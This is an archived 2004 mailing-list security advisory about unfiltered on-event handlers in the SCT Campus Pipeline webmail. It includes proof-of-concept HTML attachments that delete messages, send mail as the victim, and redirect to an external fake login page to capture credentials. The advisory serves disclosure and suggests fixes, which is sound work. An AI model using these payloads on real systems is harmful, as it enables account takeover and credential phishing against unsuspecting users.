[VulnWatch] SCT javascript execution vulnerability

From: spiffomatic 64 (spiffomatic64_at_hotmail.com)
Date: 04/15/04

  • Next message: advisory_at_security-corporation.com: "[VulnWatch] [SCSA-028] Nuked-Klan Multiple Vulnerabilities"
    To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com, vulnwatch@vulnwatch.org
    Date: Thu, 15 Apr 2004 11:36:50 -0500
    
    

    Vendor : SCT
    URL :
    http://www.sct.com/Education/Products/Connected_Learning/CampusPipeline.html
    Version : CampusPipeline
    Risk : javascript execution

    Description: SCT Campus Pipeline is the Web platform of choice at over 175
    institutions. It improves efficiency, builds community, and provides freedom
    of choice by integrating disparate systems and applications into a unified
    whole. SCT Campus Pipeline provides an institution’s constituents –
    students, faculty, administration, and alumni – with centralized Web access
    to information, services, and communities.

    Javascript Execution: The email handling portion of this software displays
    certain attachments such as; html, bmp. Jpg, gif, etc, in the body of the
    email. It does a noble job of filtering scripting in html files but certain
    on event handles remain untouched such as: onload(), onmouseover(),
    onclick(), etc. This is a huge issue seeing as the html page is logged in
    with the same permissions as the user who views it. The software also uses
    javascript functions for all of its commands. This allows an hmlt page
    execute any command such as deletemessage() from <body
    onload=”deletemessage()”> . This such instance will delete the email with
    that html attached to it. When linked to another page with <body
    onload=”location.replace(‘site’)”> u can execute as much javascript, or any
    other scripting method as you would like. This hole leads to an attached
    html having full control over the victims email account just by the victim
    viewing the email. Because the attacker would have the users session still
    set, he could potentially execute any command this software uses, such as
    check grades etc…

    Solution: The easiest way would be to just disallow previewing of
    attachments. No other web email service allows this, and for good reason.
    Another solution would be to filter all onevent handles such as onload(),
    onmouseover(), onclick(), etc.

    Credits: Credits goto http://hackthissite.org. It provided a nice, open,
    legal environment for me to try new things and learn from those who know. A
    place where you are not reprimanded even if u deface a page or two. A place
    where I started with no knowledge and in less than a year found new
    vulnerabilities of my own. Thank you http://hackthissite.org. Lab rats:
    Ashley, Amy, Nick, Shrinidhi, Charbel and most importantly to Halley, you
    give me the strength and courage to do all that I do, without you I am
    nothing. Thank you sweetheart.

    Exploit: This exemplifies three different onevent handles used:
    <html>
    <body onload="alert('load')">
    <img src="http://www.hackthissite.org/avatars/hts.jpg"
    onmouseover="alert('mouse')">;
    <img src="http://www.hackthissite.org/avatars/hts.jpg"
    onclick="alert('clicked')">;
    </body>
    </html>

    This exploit will delete the current message:
    <html><body onload=”deleteMessage()”></body><html>

    This exploit will open a new email message with your desired:
    <html><body
    onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@hotmail.com&subject=I
    love you matt&body=I was owned by matt')"></body></html>

    Creating a fake session timeout screen with login could also be a problem as
    shown here:
    <html><body
    onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html>

    Spiffomatic64
    Hacking is an art-form

    _________________________________________________________________
    MSN Toolbar provides one-click access to Hotmail from any Web page – FREE
    download! http://toolbar.msn.com/go/onm00200413ave/direct/01/


  • Next message: advisory_at_security-corporation.com: "[VulnWatch] [SCSA-028] Nuked-Klan Multiple Vulnerabilities"

    Relevant Pages

    • [Full-Disclosure] SCT javascript execution vulnerability
      ... SCT Campus Pipeline is the Web platform of choice at over 175 ... Javascript Execution: The email handling portion of this software displays ... It does a noble job of filtering scripting in html files but certain ... execute any command such as deletemessagefrom <body ...
      (Full-Disclosure)
    • [Full-Disclosure] SCT javascript execution vulnerability
      ... SCT Campus Pipeline is the Web platform of choice at over 175 ... Javascript Execution: The email handling portion of this software displays ... It does a noble job of filtering scripting in html files but certain ... execute any command such as deletemessagefrom <body ...
      (Full-Disclosure)
    • [VulnWatch] SCT javascript execution vulnerability
      ... SCT Campus Pipeline is the Web platform of choice at over 175 ... Javascript Execution: The email handling portion of this software displays ... It does a noble job of filtering scripting in html files but certain ... execute any command such as deletemessagefrom <body ...
      (Full-Disclosure)
    • SCT javascript execution vulnerability
      ... SCT Campus Pipeline is the Web platform of choice at over 175 ... Javascript Execution: The email handling portion of this software displays ... It does a noble job of filtering scripting in html files but certain ... execute any command such as deletemessagefrom <body ...
      (Full-Disclosure)
    • SCT javascript execution vulnerability
      ... SCT Campus Pipeline is the Web platform of choice at over 175 ... Javascript Execution: The email handling portion of this software displays ... It does a noble job of filtering scripting in html files but certain ... execute any command such as deletemessagefrom <body ...
      (Bugtraq)